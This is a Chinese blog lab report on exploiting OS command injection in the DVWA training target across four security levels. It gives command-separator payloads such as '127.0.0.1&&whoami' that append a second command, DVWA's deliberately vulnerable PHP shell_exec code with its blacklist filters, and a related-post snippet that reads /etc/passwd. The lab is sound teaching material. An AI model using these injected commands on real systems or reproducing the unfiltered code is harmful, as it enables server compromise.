代码编织梦想

1 实验简介

1.1 实验目的

  1. 结合SQL注入、XSS漏洞、PHP语句注入等实验,加深理解注入语句的构造与绕过思路;
  2. 掌握OS命令注入漏洞的检验与利用方法;
  3. 加强代码审计能力。

1.2 实验环境

  1. 靶机:win2008虚拟机,部署WAMP环境,并搭建DVWA靶场。搭建过程参考文章《WAMP环境+DVWA漏洞测试平台搭建过程》。
  2. 真实机:win10系统。

1.3 实验前准备

  • Windows 系例支持的管道符如下:
    • |:直接执行后面的语句。例如: ping 127.0.0.1|whoami
    • ||:如果命令遇到可以成功执行的命令,那么命令停止执行,即使后面还有正确的命令则后面的所有命令都将得不到执行。例如: ping 127.0.0.1||whoami
    • &:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如: ping 127.0.0.1&whoami
    • &&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如: ping 127.0.0.1&&whoami
  • Linux系统支持的管道符如下:
    • ;:执行完前面的语句再执行后面的。例如: ping 127.0.0.1;whoami
    • |:显示后面语句的执行结果。例如: ping 127.0.0.1|whoami
    • ||:当前面的语句执行出错时,执行后面的语句。例如: ping 127.0.0.1||whoami
    • &:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假 。例如: ping 127.0.0.1&whoami
    • &&:如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。例如: ping 127.0.0.1&&whoami

2 实验内容

尝试对不同安全级别的OS命令注入漏洞进行渗透,同时结合其代码审计互相印证学习。

2.1 low级别

  1. 当输入IP地址为127.0.0.1并点击submit时,回显内容为ping的结果。
    在这里插入图片描述
  2. 对此,我们推断该处输入参数能带入到后台执行,并回显内容,可能存在注入点。在我们参数输入位置前,应该是有ping命令。
  3. 我们采用语句whoami对网站及后台进行无损检测,更换为其他命令可实施攻击。修改参数为127.0.0.1&&whoami,回显结果如下,可以看到成功注入出系统信息。
    在这里插入图片描述
  4. 这是几个注入语句的测试结果对比,可以注入语句可能还有更多:
127.0.0.1&&whoami			//成功执行并返回ping的信息和whoami的信息
127.0.0.1&whoami			//成功执行并返回ping的信息和whoami的信息
127.0.0.1;whoami			//执行失败,从cmd运行结果看似乎分号不能分隔开两个语句
127.0.0.1|whoami			//成功执行,仅返回whoami信息。
127.0.0.1| whoami			//成功执行,仅返回whoami信息。
127.0.0.0.1||whoami			//故意输入一个错误的IP,让程序执行或运算符后面的语句。
  1. 代码审计,可以看到该网页采用了shell_exec函数,同时,参数没有任何过滤。
<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>

2.2 medium级别

  1. 在low级别的基础上,测试其可行注入语句在medium级别的运行情况。
127.0.0.1&&whoami			//执行失败,从显示错误信息判断可能是&&被过滤
127.0.0.1&whoami			//成功执行并返回ping的信息和whoami的信息
127.0.0.1|whoami			//成功执行,仅返回whoami信息。
127.0.0.1| whoami			//成功执行,仅返回whoami信息。
127.0.0.0.1||whoami			//故意输入一个错误的IP,让程序执行或运算符后面的语句。
  1. 代码审计,从其代码分析,在参数输入后对&&;都过滤掉了。
<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>

2.3 high级别

  1. 在low级别的基础上,测试其可行注入语句在medium级别的运行情况。
127.0.0.1&&whoami			//执行失败,从显示错误信息判断可能是&&被过滤
127.0.0.1&whoami			//执行失败,从显示错误信息判断可能是&被过滤
127.0.0.1|whoami			//成功执行,仅返回whoami信息。
127.0.0.1| whoami			//执行失败,从显示错误信息判断可能是| 被过滤
127.0.0.0.1||whoami			//执行失败,从显示错误信息判断可能是||被过滤
  1. 代码审计,从其代码分析,在参数输入后对多种符号都过滤掉了。
<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);
    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>

2.4 impossible级别

该级别的代码过滤原则采用的是“满足才给过”,而不是前两关的“满足黑名单就过滤”的原则,因此无法注入其他命令骗其执行。但是该代码的书写方式也限制了用户的输入,比如ping域名则无法ping通。

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );
    // Split the IP into 4 octects
    $octet = explode( ".", $target );
    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}
// Generate Anti-CSRF token
generateSessionToken();
?>

3 总结

  1. 了解windows和Linux系统管道符运行特点;
  2. 了解OS命令注入的绕过思路。
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/Fighting_hawk/article/details/123163850

注入进阶之os命令行注入_jblock的博客-爱代码爱编程

  1.os命令注入介绍    OS指令执行是为了通过网络接口在web服务器执行OS命令的一种技术。如果应用程序使用外部输入的字符串或受外部影响的字符串组装命令,并且没有经过正确的过滤,就可能导致OS命令的注入攻击。   2.类型 第一种类型是,应用程序执行一个自己控制的固定程序,通过用户输入的参数来执行命令。这时,可以通过参数的分隔符,在参数

os命令行注入---java_hollake的博客-爱代码爱编程_java 命令行注入

详细请看这篇博客https://blog.csdn.net/JBlock/article/details/78220010。 我这里只是将这篇博客中的有关Java的命令行注入攻击进行实验验证。 命令分隔符注入命令 Java代码也提供一些接口,如Runtime.getRuntime().exec(“command”),System.exec(“comm

dvwa靶机-命令注入漏洞(command injection)-爱代码爱编程

DVWA靶机-命令注入漏洞(Command Injection) 之前已经介绍过DVWA靶机的暴力破解漏洞,同样的在命令注入漏洞有四个安全等级,low,medium,high,impossible,接下来我们就针对于不同的

操作系统命令注入漏洞检测及加固-爱代码爱编程

操作系统命令注入漏洞检测及加固 1.DVWA之命令注入漏洞 注入 sql注入 命令注入 提供注入的接口 - url参数 Sql 后台程序,执行我们构造的sql语句 后台执行 返回结果 Sql是命令注入的一种,针对数据库 命令注入,通过命令接口,植入系统命令 Ping的是服务器上的自己 Low 127.0.0.1&&cat /etc/pa

DVWA 实验报告:2、命令注入-爱代码爱编程

文章更新于:2020-04-11注:如何搭建环境参见:搭建DVWA Web渗透测试靶场 DVWA之命令注入漏洞 一、介绍1.1、官方说明1.2、总结二、命令注入实践2.1、安全级别:LOW>> 查看源码>>尝试注入2.2、安全级别:Medium>>查看源码>>尝试注入2.3、安全级别:High>

bash常见用法速览-爱代码爱编程

文章目录 bash学习资源bash命令行参数bash中变量使用常用系统变量常用函数命令执行控制条件语句数值大小判断:其他常用选项:case条件循环语句其他用法获取当前脚本的路径相关信息: bash学习资源 快速学习Bash bash命令行参数 bash作为一个可执行文件,本身也带有一些命令行参数,详情如下: 参数说明 -c 若用-c参

【渗透测试】命令执行漏洞-爱代码爱编程

一、原理 程序员使用脚本语言如PHP开发应用过程中,脚本语言开发十分快速、简洁、方便,但是也伴随着一些问题。比如说速度慢,或者无法接触到系统底层,如果我们开发的应用,特别是企业级的应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些系统命令函数。 应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在

OS命令注入-爱代码爱编程

OS命令注入和SQL注入差不多,只不过SQL注入是针对数据库的,而OS命令注入是针对操作系统的。OS命令注入攻击指通过Web应用,执行非法的操作系统命令达到攻击的目的。只要在能调用Shell函数的地方就有存在被攻击的风险。倘若调用Shell时存在疏漏,就可以执行插入的非法命令。   // 以 Node.js 为例,假如在接口中需要从 github 下载

应用安全系列之三:OS命令行注入-爱代码爱编程

本系列文章主旨在于介绍一些漏洞类型产生的基本原理,探索最基础的解决问题的措施,不排除有些语言或者系统提供的安全的API可以更好地更直接地解决问题,也不排除可以严格地输入验证来解决。 OS命令行注入主要是由于在执行命令时,由于使用不可信的数据来源来组装命令或者直接作为命令来执行造成的。如果程序运行时,没有遵守最少权限原则,由于攻击者可以控制执行的命令,所以

DVWA靶场 Command Injection(命令行注入)-爱代码爱编程

DVWA靶场 Command Injection(命令行注入) LOWMediumHigh Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型

在DVWA靶场中理解什么是OS命令注入-爱代码爱编程

OS命令注入 什么是OS命令注入漏洞危害在DVWA靶场中尝试命令行注入难度:low源码常见的拼接命令:常见的系统命令:payload:难度:Medium源码payload:难度:high源码payload:难度:impossible源码进阶 什么是OS命令注入   操作系统命令注入(也称为外壳程序注入)是一个网络安全漏洞,攻击者可以利用该漏洞

os命令注入-爱代码爱编程

system函数 system() 能够将字符串作为OS 命令执行,自带输出功能 <?php if(isset($_GET['cmd'])){ $str=$_GET['cmd']; system($str); } ?> 提交参数?cmd=ipconfig **exec()**函数 exec() 函数能将

DVWA靶场-命令注入(commandInjection)-爱代码爱编程

第二关:Command Injection(命令注入)       命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一。 Low <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input